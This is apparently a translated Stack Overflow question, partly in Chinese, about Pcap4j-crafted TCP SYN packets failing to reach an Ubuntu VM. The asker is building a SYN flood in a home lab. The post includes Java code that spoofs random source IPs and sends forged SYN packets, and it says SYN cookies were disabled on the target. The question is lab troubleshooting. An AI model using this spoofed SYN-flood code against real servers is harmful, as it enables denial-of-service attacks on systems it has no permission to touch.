Pcap4j TCP 数据包在 Wireshark 上显示后被丢弃

Pcap4j TCP packets being dropped after showing on Wireshark

出于教育目的,我正在尝试对 Ubuntu 18.04 VM 执行 SYN 泛洪攻击。我在我的 VM 设置中启用了桥接模式并设置了一个 Web 服务器 (10.0.0.10) 我可以通过 ping 访问我的主机 (10.0.0.3),反之亦然。从主机到服务器的 ping 显示服务器上的 Wireshark 流量(请求和响应),从服务器到主机的 ping 也显示服务器上的 Wireshark 流量,但不是主机上的流量,即使正确构建了 ping 数据包。

我构建攻击的方法是生成随机 IP,构造 TCP SYN 数据包并通过端口 80(打开)将其从我的主机发送到 Web 服务器,这应该发送一个 TCP SYN/ACK 数据包(我使用 iptables 将其路由回我的主机)。

如果我通过 Pcap4J(Java 的 Pcap 库)构造一个 TCP 数据包,然后通过处理程序发送它,I see it pop up on the host Wireshark.

但是,如果我在我的 VM 上检查 Wireshark,数据包没有到达。处理程序没有给出错误并且程序正确退出,因此我不确定如何解决这个问题。

丢包在哪里,我该如何解决?我需要数据包到达 Web 服务器 VM(以及服务器将它们发回)。

代码:

    Pcaphandle send_handle;
    //nif_address is a constant of my ethernet connection defined in the file
    try {
        PcapNetworkInterface nif = Pcaps.getDevByAddress(nif_address);
        if (nif == null) {
            System.out.println("Networkinterface is null");
            return;
        }
        // Open the device and get a send_handle
        int snapshotLength = 65536; // in bytes
        int readTimeout = 50; // in milliseconds
        send_handle = nif.openLive(snapshotLength, PcapNetworkInterface.PromiscuousMode.PROMISCUOUS, readTimeout);
    } catch (PcapNativeException e) {
        System.out.println("Cannot bind NIF to variable from localhost");
        e.printStackTrace();
        return;
    }

    //Send packets, e.g. 1 packet by 5 different IPs
    for (int i = 0; i < 5; i++) {
        //generateIP() function not shown here, but is simply a randomizer and format to IP
        InetAddress src_ip = generateIP(); 

        Packet tcpPacket = constructSYNPacket(i, src_ip);
        try {
            send_handle.sendPacket(tcpPacket);
            System.out.println(send_handle.getError());
        } catch (PcapNativeException | NotOpenException e) {
            e.printStackTrace();
        }
    }

    private Packet constructSYNPacket(int packetNr, InetAddress src_address) {
    TcpPacket.Builder tcpBuilder = new TcpPacket.Builder();
    tcpBuilder
            .syn(true)
            .ack(false)
            .rst(false)
            .psh(false)
            .urg(false)
            .srcAddr(src_address)
            .srcPort(TcpPort.getInstance((short) srcPort))
            .dstAddr(dst_address)
            .dstPort(TcpPort.getInstance((short) dstPort))
            .correctLengthAtBuild(true)
            .correctChecksumAtBuild(true)
            .sequenceNumber(100000 + (packetNr*50));

    IpV4Packet.Builder ipv4Builder = new IpV4Packet.Builder();
    ipv4Builder
            .srcAddr((Inet4Address)src_address)
            .dstAddr((Inet4Address)dst_address)
            .dontFragmentFlag(true)
            .fragmentOffset((short)0)
            .ihl((byte)5)
            .correctLengthAtBuild(true)
            .correctChecksumAtBuild(true)
            .protocol(IpNumber.TCP)
            .version(IpVersion.IPV4)
            .tos((IpV4Packet.IpV4Tos) () -> (byte)0)
            .ttl((byte)100)
            .payloadBuilder(tcpBuilder);

    EthernetPacket.Builder ethBuilder = new EthernetPacket.Builder();
    ethBuilder
            .srcAddr(nif_mac)
            .dstAddr(dst_mac)
            .type(EtherType.IPV4)
            .payloadBuilder(ipv4Builder)
            .paddingAtBuild(true);

    Packet p = ethBuilder.build();

注意:我已经在 Ubuntu sysctl 中禁用了 SYN cookie。

尽管我还没有找到为什么桥接模式不起作用,但我设法使用仅主机适配器使其工作。当我使用它时,双向都收到了 Ping 和数据包。